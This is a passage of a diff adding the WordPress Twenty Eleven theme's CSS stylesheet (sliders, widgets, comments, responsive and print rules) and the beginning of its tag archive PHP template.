+	background: rgba(0,0,0,0.8);
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #fff;
+	display: inline-block;
+	font-weight: 300;
+	padding: .2em 20px;
+}
+section.feature-image.large:hover .entry-title a,
+section.feature-image.large .entry-title:hover a {
+	background: #eee;
+	background: rgba(255,255,255,0.8);
+	color: #222;
+}
+article.feature-image.large .entry-summary {
+	display: none;
+}
+section.feature-image.large img {
+	display: block;
+	height: auto;
+	max-width: 117.9%;
+	padding: 0 0 6px;
+}
+
+/* Featured Slider */
+.featured-posts {
+	border-bottom: 1px solid #ddd;
+	display: block;
+	height: 328px;
+	margin: 1.625em -8.9% 20px;
+	max-width: 1000px;
+	padding: 0;
+	position: relative;
+	overflow: hidden;
+}
+.featured-posts .showcase-heading {
+	padding-left: 8.9%;
+}
+.featured-posts section.featured-post {
+	background: #fff;
+	height: 288px;
+	left: 0;
+	margin: 0;
+	position: absolute;
+	top: 30px;
+	width: auto;
+}
+.featured-posts section.featured-post.large {
+	max-width: 100%;
+	overflow: hidden;
+}
+.featured-posts section.featured-post {
+	-webkit-transition-duration: 200ms;
+	-webkit-transition-property: opacity, visibility;
+	-webkit-transition-timing-function: ease;
+	-moz-transition-duration: 200ms;
+	-moz-transition-property: opacity, visibility;
+	-moz-transition-timing-function: ease;
+}
+.featured-posts section.featured-post {
+	opacity: 0;
+	visibility: hidden;
+}
+.featured-posts #featured-post-1 {
+	opacity: 1;
+	visibility: visible;
+}
+.featured-post .feature-text:after,
+.featured-post .feature-image.small:after {
+	content: ' ';
+	background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */
+	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */
+	background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */
+	background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */
+	background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */
+	background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */
+	width: 100%;
+	height: 45px;
+	position: absolute;
+	top: 230px;
+}
+.featured-post .feature-image.small:after {
+	top: 253px;
+}
+#content .feature-slider {
+	top: 5px;
+	right: 8.9%;
+	overflow: visible;
+	position: absolute;
+}
+.feature-slider ul {
+	list-style-type: none;
+	margin: 0;
+}
+.feature-slider li {
+	float: left;
+	margin: 0 6px;
+}
+.feature-slider a {
+	background: #3c3c3c;
+	background: rgba(60,60,60,0.9);
+	-moz-border-radius: 12px;
+	border-radius: 12px;
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5);
+	display: block;
+	width: 14px;
+	height: 14px;
+}
+.feature-slider a.active {
+	background: #1982d1;
+	-webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	-moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8);
+	cursor: default;
+	opacity: 0.5;
+}
+
+/* Recent Posts */
+section.recent-posts {
+	padding: 0 0 1.625em;
+}
+section.recent-posts .hentry {
+	border: none;
+	margin: 0;
+}
+section.recent-posts .other-recent-posts {
+	border-bottom: 1px solid #ddd;
+	list-style: none;
+	margin: 0;
+}
+section.recent-posts .other-recent-posts li {
+	padding: 0.3125em 0;
+	position: relative;
+}
+section.recent-posts .other-recent-posts .entry-title {
+	border-top: 1px solid #ddd;
+	font-size: 17px;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"] {
+	color: #373737;
+	float: left;
+	max-width: 84%;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"]:after {
+	content: '-';
+	color: transparent;
+	font-size: 11px;
+}
+section.recent-posts .other-recent-posts a[rel="bookmark"]:hover {
+}
+section.recent-posts .other-recent-posts .comments-link a,
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-bottom: 2px solid #999;
+	bottom: -2px;
+	color: #444;
+	display: block;
+	font-size: 10px;
+	font-weight: 500;
+	line-height: 2.76333em;
+	padding: 0.3125em 0 0.3125em 1em;
+	position: absolute;
+	right: 0;
+	text-align: right;
+	text-transform: uppercase;
+	z-index: 1;
+}
+section.recent-posts .other-recent-posts .comments-link > span {
+	border-color: #bbb;
+	color: #888;
+}
+section.recent-posts .other-recent-posts .comments-link a:hover {
+	color: #1982d1;
+	border-color: #1982d1;
+}
+section.recent-posts .other-recent-posts li:after {
+	clear: both;
+	content: '.';
+	display: block;
+	height: 0;
+	visibility: hidden;
+}
+
+
+/* =Attachments
+----------------------------------------------- */
+
+.image-attachment div.attachment {
+	background: #f9f9f9;
+	border: 1px solid #ddd;
+	border-width: 1px 0;
+	margin: 0 -8.9% 1.625em;
+	overflow: hidden;
+	padding: 1.625em 1.625em 0;
+	text-align: center;
+}
+.image-attachment div.attachment img {
+	display: block;
+	height: auto;
+	margin: 0 auto 1.625em;
+	max-width: 100%;
+}
+.image-attachment div.attachment a img {
+	border-color: #f9f9f9;
+}
+.image-attachment div.attachment a:focus img,
+.image-attachment div.attachment a:hover img,
+.image-attachment div.attachment a:active img {
+	border-color: #ddd;
+	background: #fff;
+}
+.image-attachment .entry-caption p {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	margin: 0 0 2.6em;
+	text-transform: uppercase;
+}
+
+/* =Media
+-------------------------------------------------------------- */
+
+audio,
+video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+.attachment .entry-content .mejs-container {
+	margin-bottom: 24px;
+}
+
+/* =Navigation
+-------------------------------------------------------------- */
+
+#content nav {
+	clear: both;
+	overflow: hidden;
+	padding: 0 0 1.625em;
+}
+#content nav a {
+	font-size: 12px;
+	font-weight: bold;
+	line-height: 2.2em;
+}
+#nav-above {
+	padding: 0 0 1.625em;
+}
+#nav-above {
+	display: none;
+}
+.paged #nav-above {
+	display: block;
+}
+.nav-previous {
+	float: left;
+	width: 50%;
+}
+.nav-next {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+#content nav .meta-nav {
+	font-weight: normal;
+}
+
+/* Singular navigation */
+#nav-single {
+	float: right;
+	position: relative;
+	top: -0.3em;
+	text-align: right;
+	z-index: 1;
+}
+#nav-single .nav-previous,
+#nav-single .nav-next {
+	width: auto;
+}
+#nav-single .nav-next {
+	padding-left: .5em;
+}
+#nav-single .nav-previous {
+	padding-right: .5em;
+}
+
+
+/* =Widgets
+----------------------------------------------- */
+
+.widget-area {
+	font-size: 12px;
+}
+.widget {
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+	clear: both;
+	margin: 0 0 2.2em;
+}
+.widget-title {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+.widget ul {
+	font-size: 15px;
+	margin: 0;
+}
+.widget ul ul {
+	margin-left: 1.5em;
+}
+.widget ul li {
+	color: #777;
+	font-size: 13px;
+}
+.widget a {
+	font-weight: bold;
+	text-decoration: none;
+}
+.widget a:hover,
+.widget a:focus,
+.widget a:active {
+	text-decoration: underline;
+}
+
+/* Search Widget */
+.widget_search form {
+	margin: 0 0 1.625em;
+}
+.widget_search #s {
+	width: 77%;
+}
+.widget_search #searchsubmit {
+	background: #ddd;
+	border: 1px solid #ccc;
+	-webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	-moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09);
+	color: #888;
+	font-size: 13px;
+	line-height: 25px;
+	position: relative;
+	top: -2px;
+}
+.widget_search #searchsubmit:active {
+	background: #1982d1;
+	border-color: #0861a5;
+	-webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	-moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1);
+	color: #bfddf3;
+}
+
+/* Ephemera Widget */
+section.ephemera ol,
+.widget_twentyeleven_ephemera ol {
+	list-style: square;
+	margin: 5px 0 0;
+}
+.widget_twentyeleven_ephemera .widget-entry-title {
+	font-size: 15px;
+	font-weight: bold;
+	padding: 0;
+}
+.widget_twentyeleven_ephemera .comments-link a,
+.widget_twentyeleven_ephemera .comments-link > span {
+	color: #666;
+	display: block;
+	font-size: 10px;
+	font-weight: 500;
+	line-height: 2.76333em;
+	text-transform: uppercase;
+}
+section.ephemera .entry-title .comments-link a:hover,
+.widget_twentyeleven_ephemera .entry-title .comments-link a:hover {
+}
+section.ephemera .entry-title a span {
+	color: #29628d;
+}
+
+/* Twitter */
+.widget_twitter li {
+	list-style-type: none;
+	margin-bottom: 14px;
+}
+.widget_twitter .timesince {
+	display: block;
+	font-size: 11px;
+	margin-right: -10px;
+	text-align: right;
+}
+
+/* Widget Image */
+.widget_image img {
+	border: 0;
+	padding: 0;
+	height: auto;
+	max-width: 100%;
+}
+
+/* Calendar Widget */
+
+.widget_calendar #wp-calendar {
+	color: #555;
+	width: 95%;
+	text-align: center;
+}
+.widget_calendar #wp-calendar caption,
+.widget_calendar #wp-calendar td,
+.widget_calendar #wp-calendar th {
+	text-align: center;
+}
+.widget_calendar #wp-calendar caption {
+	font-size: 11px;
+	font-weight: 500;
+	padding: 5px 0 3px 0;
+	text-transform: uppercase;
+}
+.widget_calendar #wp-calendar th {
+	background: #f4f4f4;
+	border-top: 1px solid #ccc;
+	border-bottom: 1px solid #ccc;
+	font-weight: bold;
+}
+.widget_calendar #wp-calendar tfoot td {
+	background: #f4f4f4;
+	border-top: 1px solid #ccc;
+	border-bottom: 1px solid #ccc;
+}
+
+
+/* =Comments
+----------------------------------------------- */
+
+#comments-title {
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	line-height: 2.6em;
+	padding: 0 0 2.6em;
+	text-transform: uppercase;
+}
+.nopassword,
+.nocomments {
+	color: #aaa;
+	font-size: 24px;
+	font-weight: 100;
+	margin: 26px 0;
+	text-align: center;
+}
+.commentlist {
+	list-style: none;
+	margin: 0 auto;
+	width: 68.9%;
+}
+.content .commentlist,
+.page-template-sidebar-page-php .commentlist {
+	width: 100%; /* reset the width for the one-column and sidebar page layout */
+}
+.commentlist > li.comment {
+	background: #f6f6f6;
+	border: 1px solid #ddd;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	margin: 0 0 1.625em;
+	padding: 1.625em;
+	position: relative;
+}
+.commentlist .pingback {
+	margin: 0 0 1.625em;
+	padding: 0 1.625em;
+}
+.commentlist .children {
+	list-style: none;
+	margin: 0;
+}
+.commentlist .children li.comment {
+	background: #fff;
+	border-left: 1px solid #ddd;
+	-moz-border-radius: 0 3px 3px 0;
+	border-radius: 0 3px 3px 0;
+	margin: 1.625em 0 0;
+	padding: 1.625em;
+	position: relative;
+}
+.commentlist .children li.comment .fn {
+	display: block;
+}
+.comment-meta .fn {
+	font-style: normal;
+}
+.comment-meta {
+	color: #666;
+	font-size: 12px;
+	line-height: 2.2em;
+}
+.commentlist .children li.comment .comment-meta {
+	line-height: 1.625em;
+	margin-left: 50px;
+}
+.commentlist .children li.comment .comment-content {
+	margin: 1.625em 0 0;
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+}
+.comment-meta a {
+	font-weight: bold;
+}
+.comment-meta a:focus,
+.comment-meta a:active,
+.comment-meta a:hover {
+}
+.commentlist .avatar {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #ccc;
+	-moz-box-shadow: 0 1px 2px #ccc;
+	box-shadow: 0 1px 2px #ccc;
+	left: -102px;
+	padding: 0;
+	position: absolute;
+	top: 0;
+}
+.commentlist > li:before {
+	content: url(images/comment-arrow.png);
+	left: -21px;
+	position: absolute;
+}
+.commentlist > li.pingback:before {
+	content: '';
+}
+.commentlist .children .avatar {
+	background: none;
+	-webkit-box-shadow: none;
+	-moz-box-shadow: none;
+	box-shadow: none;
+	left: 2.2em;
+	padding: 0;
+	top: 2.2em;
+}
+a.comment-reply-link {
+	background: #eee;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	color: #666;
+	display: inline-block;
+	font-size: 12px;
+	padding: 0 8px;
+	text-decoration: none;
+}
+a.comment-reply-link:hover,
+a.comment-reply-link:focus,
+a.comment-reply-link:active {
+	background: #888;
+	color: #fff;
+}
+a.comment-reply-link > span {
+	display: inline-block;
+	position: relative;
+	top: -1px;
+}
+
+/* Post author highlighting */
+.commentlist > li.bypostauthor {
+	background: #ddd;
+	border-color: #d3d3d3;
+}
+.commentlist > li.bypostauthor .comment-meta {
+	color: #575757;
+}
+.commentlist > li.bypostauthor .comment-meta a:focus,
+.commentlist > li.bypostauthor .comment-meta a:active,
+.commentlist > li.bypostauthor .comment-meta a:hover {
+}
+.commentlist > li.bypostauthor:before {
+	content: url(images/comment-arrow-bypostauthor.png);
+}
+
+/* Post Author threaded comments */
+.commentlist .children > li.bypostauthor {
+	background: #ddd;
+	border-color: #d3d3d3;
+}
+
+/* sidebar-page.php comments */
+/* Make sure we have room for our comment avatars */
+.page-template-sidebar-page-php .commentlist > li.comment,
+.page-template-sidebar-page-php.commentlist .pingback {
+	margin-left: 102px;
+	width: auto;
+}
+/* And a full-width comment form */
+.page-template-sidebar-page-php #respond {
+	width: auto;
+}
+
+/* Comment Form */
+#respond {
+	background: #ddd;
+	border: 1px solid #d3d3d3;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	margin: 0 auto 1.625em;
+	padding: 1.625em;
+	position: relative;
+	width: 68.9%;
+}
+#respond input[type="text"],
+#respond textarea {
+	background: #fff;
+	border: 4px solid #eee;
+	-moz-border-radius: 5px;
+	border-radius: 5px;
+	-webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95);
+	-moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95);
+	box-shadow: inset 0 1px 3px rgba(204,204,204,0.95);
+	position: relative;
+	padding: 10px;
+	text-indent: 80px;
+}
+#respond .comment-form-author,
+#respond .comment-form-email,
+#respond .comment-form-url,
+#respond .comment-form-comment {
+	position: relative;
+}
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	background: #eee;
+	-webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8);
+	-moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8);
+	box-shadow: 1px 2px 2px rgba(204,204,204,0.8);
+	color: #555;
+	display: inline-block;
+	font-size: 13px;
+	left: 4px;
+	min-width: 60px;
+	padding: 4px 10px;
+	position: relative;
+	top: 40px;
+	z-index: 1;
+}
+#respond input[type="text"]:focus,
+#respond textarea:focus {
+	text-indent: 0;
+	z-index: 1;
+}
+#respond textarea {
+	resize: vertical;
+	width: 95%;
+}
+#respond .comment-form-author .required,
+#respond .comment-form-email .required {
+	color: #bd3500;
+	font-size: 22px;
+	font-weight: bold;
+	left: 75%;
+	position: absolute;
+	z-index: 1;
+}
+#respond .comment-notes,
+#respond .logged-in-as {
+	font-size: 13px;
+}
+#respond p {
+	margin: 10px 0;
+}
+#respond .form-submit {
+	float: right;
+	margin: -20px 0 10px;
+}
+#respond input#submit {
+	background: #222;
+	border: none;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	color: #eee;
+	cursor: pointer;
+	font-size: 15px;
+	margin: 20px 0;
+	padding: 5px 42px 5px 22px;
+	position: relative;
+	left: 30px;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+#respond input#submit:active {
+	background: #1982d1;
+	color: #bfddf3;
+}
+#respond #cancel-comment-reply-link {
+	color: #666;
+	margin-left: 10px;
+	text-decoration: none;
+}
+#respond .logged-in-as a:hover,
+#respond #cancel-comment-reply-link:hover {
+	text-decoration: underline;
+}
+.commentlist #respond {
+	margin: 1.625em 0 0;
+	width: auto;
+}
+#reply-title {
+	color: #373737;
+	font-size: 24px;
+	font-weight: bold;
+	line-height: 30px;
+}
+#cancel-comment-reply-link {
+	color: #888;
+	display: block;
+	font-size: 10px;
+	font-weight: normal;
+	line-height: 2.2em;
+	letter-spacing: 0.05em;
+	position: absolute;
+	right: 1.625em;
+	text-decoration: none;
+	text-transform: uppercase;
+	top: 1.1em;
+}
+#cancel-comment-reply-link:focus,
+#cancel-comment-reply-link:active,
+#cancel-comment-reply-link:hover {
+	color: #ff4b33;
+}
+#respond label {
+	line-height: 2.2em;
+}
+#respond input[type=text] {
+	display: block;
+	height: 24px;
+	width: 75%;
+}
+#respond p {
+	font-size: 12px;
+}
+p.comment-form-comment {
+	margin: 0;
+}
+.form-allowed-tags {
+	display: none;
+}
+
+
+/* =Footer
+----------------------------------------------- */
+
+#colophon {
+	clear: both;
+}
+#supplementary {
+	border-top: 1px solid #ddd;
+	padding: 1.625em 7.6%;
+	overflow: hidden;
+}
+
+/* Two Footer Widget Areas */
+#supplementary.two .widget-area {
+	float: left;
+	margin-right: 3.7%;
+	width: 48.1%;
+}
+#supplementary.two .widget-area + .widget-area {
+	margin-right: 0;
+}
+
+/* Three Footer Widget Areas */
+#supplementary.three .widget-area {
+	float: left;
+	margin-right: 3.7%;
+	width: 30.85%;
+}
+#supplementary.three .widget-area + .widget-area + .widget-area {
+	margin-right: 0;
+}
+
+/* Site Generator Line */
+#site-generator {
+	background: #f9f9f9;
+	border-top: 1px solid #ddd;
+	color: #666;
+	font-size: 12px;
+	line-height: 2.2em;
+	padding: 2.2em 0.5em;
+	text-align: center;
+}
+#site-generator a {
+	color: #555;
+	font-weight: bold;
+}
+
+
+/* =Responsive Structure
+----------------------------------------------- */
+
+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+@viewport {
+	width: device-width;
+}
+
+@media (max-width: 800px) {
+	/* Simplify the basic layout */
+	#main #content {
+		margin: 0 7.6%;
+		width: auto;
+	}
+	#nav-below {
+		border-bottom: 1px solid #ddd;
+		margin-bottom: 1.625em;
+	}
+	#main #secondary {
+		float: none;
+		margin: 0 7.6%;
+		width: auto;
+	}
+	/* Simplify the showcase template */
+	.page-template-showcase-php .featured-posts {
+		min-height: 280px;
+	}
+	.featured-posts section.featured-post {
+		height: auto;
+	}
+	.page-template-showcase-php section.recent-posts {
+		float: none;
+		margin: 0;
+		width: 100%;
+	}
+	.page-template-showcase-php #main .widget-area {
+		float: none;
+		margin: 0;
+		width: auto;
+	}
+	.page-template-showcase-php .other-recent-posts {
+		border-bottom: 1px solid #ddd;
+	}
+	/* Simplify the showcase template when small feature */
+	section.featured-post .attachment-small-feature,
+	.one-column section.featured-post .attachment-small-feature {
+		border: none;
+		display: block;
+		float: left;
+		height: auto;
+		margin: 0.625em auto 1.025em;
+		max-width: 30%;
+		position: static;
+	}
+	article.feature-image.small {
+		float: right;
+		margin: 0 0 1.625em;
+		width: 64%;
+	}
+	.one-column article.feature-image.small .entry-summary {
+		height: auto;
+	}
+	article.feature-image.small .entry-summary p a {
+		left: 0;
+		padding-left: 20px;
+		padding-right: 20px;
+		width: auto;
+	}
+	/* Remove the margin on singular articles */
+	.singular .entry-header,
+	.singular .entry-content,
+	.singular footer.entry-meta,
+	.singular #comments-title {
+		width: 100%;
+	}
+	/* Simplify the pullquotes and pull styles */
+	.singular blockquote.pull {
+		margin: 0 0 1.625em;
+	}
+	.singular .pull.alignleft {
+		margin: 0 1.625em 0 0;
+	}
+	.singular .pull.alignright {
+		margin: 0 0 0 1.625em;
+	}
+	.singular .entry-meta .edit-link a {
+		left: 0;
+		position: absolute;
+		top: 40px;
+	}
+	.singular #author-info {
+		margin: 2.2em -8.8% 0;
+		padding: 20px 8.8%;
+	}
+	/* Make sure we have room for our comment avatars */
+	.commentlist {
+		width: 100%;
+	}
+	.commentlist > li.comment,
+	.commentlist .pingback {
+		margin-left: 102px;
+		width: auto;
+	}
+	/* And a full-width comment form */
+	#respond {
+		width: auto;
+	}
+	/* No need to float footer widgets at this size */
+	#colophon #supplementary .widget-area {
+		float: none;
+		margin-right: 0;
+		width: auto;
+	}
+	/* No need to float 404 widgets at this size */
+	.error404 #main .widget {
+		float: none;
+		margin-right: 0;
+		width: auto;
+	}
+}
+@media (max-width: 650px) {
+	/* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */
+	body, input, textarea {
+		font-size: 13px;
+	}
+	#site-title a {
+		font-size: 24px;
+	}
+	#site-description {
+		font-size: 12px;
+	}
+	#access ul {
+		font-size: 12px;
+	}
+	article.intro .entry-content {
+		font-size: 12px;
+	}
+	.entry-title {
+		font-size: 21px;
+	}
+	.featured-post .entry-title {
+		font-size: 14px;
+	}
+	.singular .entry-title {
+		font-size: 28px;
+	}
+	.entry-meta {
+		font-size: 12px;
+	}
+	blockquote {
+		margin: 0;
+	}
+	blockquote.pull {
+		font-size: 17px;
+	}
+	/* Reposition the site title and description slightly */
+	#site-title {
+		padding: 5.30625em 0 0;
+	}
+	#site-title,
+	#site-description {
+		margin-right: 0;
+	}
+	/* Make sure the logo and search form don't collide */
+	#branding #searchform {
+		top: 1.625em !important;
+	}
+	/* Floated content doesn't work well at this size */
+	.alignleft,
+	.alignright {
+		display: block;
+		float: none;
+		margin-left: 0;
+		margin-right: 0;
+	}
+	/* Make sure the post-post navigation doesn't collide with anything */
+	#nav-single {
+		display: block;
+		position: static;
+	}
+	.singular .hentry {
+		padding: 1.625em 0 0;
+	}
+	.singular.page .hentry {
+		padding: 1.625em 0 0;
+	}
+	.singular .entry-header .entry-meta,
+	.singular .entry-header .entry-format,
+	.singular .entry-meta .edit-link a {
+		position: static;
+	}
+	/* Talking avatars take up too much room at this size */
+	.commentlist > li.comment,
+	.commentlist > li.pingback {
+		margin-left: 0 !important;
+	}
+	.commentlist .avatar {
+		background: transparent;
+		display: block;
+		padding: 0;
+		position: static;
+	}
+	.commentlist .children .avatar {
+		background: none;
+		left: 2.2em;
+		padding: 0;
+		position: absolute;
+		top: 2.2em;
+	}
+	/* Use the available space in the smaller comment form */
+	#respond input[type="text"] {
+		width: 95%;
+	}
+	#respond .comment-form-author .required,
+	#respond .comment-form-email .required {
+		left: 95%;
+	}
+	#content .gallery-columns-3 .gallery-item {
+		width: 31%;
+		padding-right: 2%;
+	}
+	#content .gallery-columns-3 .gallery-item img {
+		width: 100%;
+		height: auto;
+	}
+}
+@media (max-width: 450px) {
+	#content .gallery-columns-2 .gallery-item {
+		width: 45%;
+		padding-right: 4%;
+	}
+	#content .gallery-columns-2 .gallery-item img {
+		width: 100%;
+		height: auto;
+	}
+}
+@media only screen and (min-device-width: 320px) and (max-device-width: 480px) {
+	body {
+		padding: 0;
+	}
+	#page {
+		margin-top: 0;
+	}
+	#branding {
+		border-top: none;
+	}
+}
+
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	body {
+		background: none !important;
+		font-size: 10pt;
+	}
+	footer.entry-meta a[rel=bookmark]:link:after,
+	footer.entry-meta a[rel=bookmark]:visited:after {
+		content: " [" attr(href) "] "; /* Show URLs */
+	}
+	#page {
+		clear: both !important;
+		display: block !important;
+		float: none !important;
+		max-width: 100%;
+		position: relative !important;
+	}
+	#branding {
+		border-top: none !important;
+		padding: 0;
+	}
+	#branding hgroup {
+		margin: 0;
+	}
+	#site-title a {
+		font-size: 21pt;
+	}
+	#site-description {
+		font-size: 10pt;
+	}
+	#branding #searchform {
+		display: none;
+	}
+	#branding img {
+		display: none;
+	}
+	#access {
+		display: none;
+	}
+	#main {
+		border-top: none;
+		box-shadow: none;
+	}
+	#primary {
+		float: left;
+		margin: 0;
+		width: 100%;
+	}
+	#content {
+		margin: 0;
+		width: auto;
+	}
+	.singular #content {
+		margin: 0;
+		width: 100%;
+	}
+	.singular .entry-header .entry-meta {
+		position: static;
+	}
+	.entry-meta .edit-link a {
+		display: none;
+	}
+	#content nav {
+		display: none;
+	}
+	.singular .entry-header,
+	.singular .entry-content,
+	.singular footer.entry-meta,
+	.singular #comments-title {
+		margin: 0;
+		width: 100%;
+	}
+	.singular .hentry {
+		padding: 0;
+	}
+	.entry-title,
+	.singular .entry-title {
+		font-size: 21pt;
+	}
+	.entry-meta {
+		font-size: 10pt;
+	}
+	.entry-header .comments-link {
+		display: none;
+	}
+	.page-link {
+		display: none;
+	}
+	.singular #author-info {
+		background: none;
+		border-bottom: none;
+		border-top: none;
+		margin: 2.2em 0 0;
+		padding: 0;
+	}
+	#respond {
+		display: none;
+	}
+	.widget-area {
+		display: none;
+	}
+	#colophon {
+		display: none;
+	}
+
+	/* Comments */
+	.commentlist > li.comment {
+		background: none;
+		border: 1px solid #ddd;
+		-moz-border-radius: 3px 3px 3px 3px;
+		border-radius: 3px 3px 3px 3px;
+		margin: 0 auto 1.625em;
+		padding: 1.625em;
+		position: relative;
+		width: auto;
+	}
+	.commentlist .avatar {
+		height: 39px;
+		left: 2.2em;
+		top: 2.2em;
+		width: 39px;
+	}
+	.commentlist li.comment .comment-meta {
+		line-height: 1.625em;
+		margin-left: 50px;
+	}
+	.commentlist li.comment .fn {
+		display: block;
+	}
+	.commentlist li.comment .comment-content {
+		margin: 1.625em 0 0;
+	}
+	.commentlist .comment-edit-link {
+		display: none;
+	}
+	.commentlist > li::before,
+	.commentlist > li.bypostauthor::before {
+		content: '';
+	}
+	.commentlist .reply {
+		display: none;
+	}
+
+	/* Post author highlighting */
+	.commentlist > li.bypostauthor {
+		color: #444;
+	}
+	.commentlist > li.bypostauthor .comment-meta {
+		color: #666;
+	}
+	.commentlist > li.bypostauthor:before {
+		content: none;
+	}
+
+	/* Post Author threaded comments */
+	.commentlist .children > li.bypostauthor {
+		background: #fff;
+		border-color: #ddd;
+	}
+	.commentlist .children > li.bypostauthor > article,
+	.commentlist .children > li.bypostauthor > article .comment-meta {
+		color: #666;
+	}
+}
+
+
+/* =IE7
+----------------------------------------------- */
+
+#ie7 article.intro {
+	margin-left: -7.6%;
+	margin-right: -7.6%;
+	padding-left: -7.6%;
+	padding-right: -7.6%;
+	max-width: 1000px;
+}
+#ie7 .featured-posts {
+	margin: 0 -7.6%;
+}
+#ie7 .featured-post {
+	margin-left: 0;
+	margin-right: 0;
+	max-width: 100%;
+}
+#ie7 section.recent-posts {
+	margin-right: 7.6%;
+}
+
+
+/* =IE8
+----------------------------------------------- */
+
+#ie8 section.feature-image.large img {
+	width: auto;
+}
+#ie8 section.featured-post .attachment-small-feature {
+	max-width: none;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/tag.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/tag.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/tag.php	(revision 33402)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Template used to display Tag Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title"><?php
+						printf( __( 'Tag Archives: %s', 'twentyeleven' ), '<span>' . single_tag_title( '', false ) . '</span>' );
+					?></h1>
+
+					<?php
+						$tag_description = tag_description();
+						if ( ! empty( $tag_description ) ) {
+							/**
+							 * Filter the default Twenty Eleven tag description.
+							 *
+							 * @since Twenty Eleven 1.0
+							 *
+							 * @param string The default tag description.
+							 */
+							echo apply_filters( 'tag_archive_meta', '<div class="tag-archive-meta">' . $tag_description . '</div>' );
+						}
+					?>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that
+						 * will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
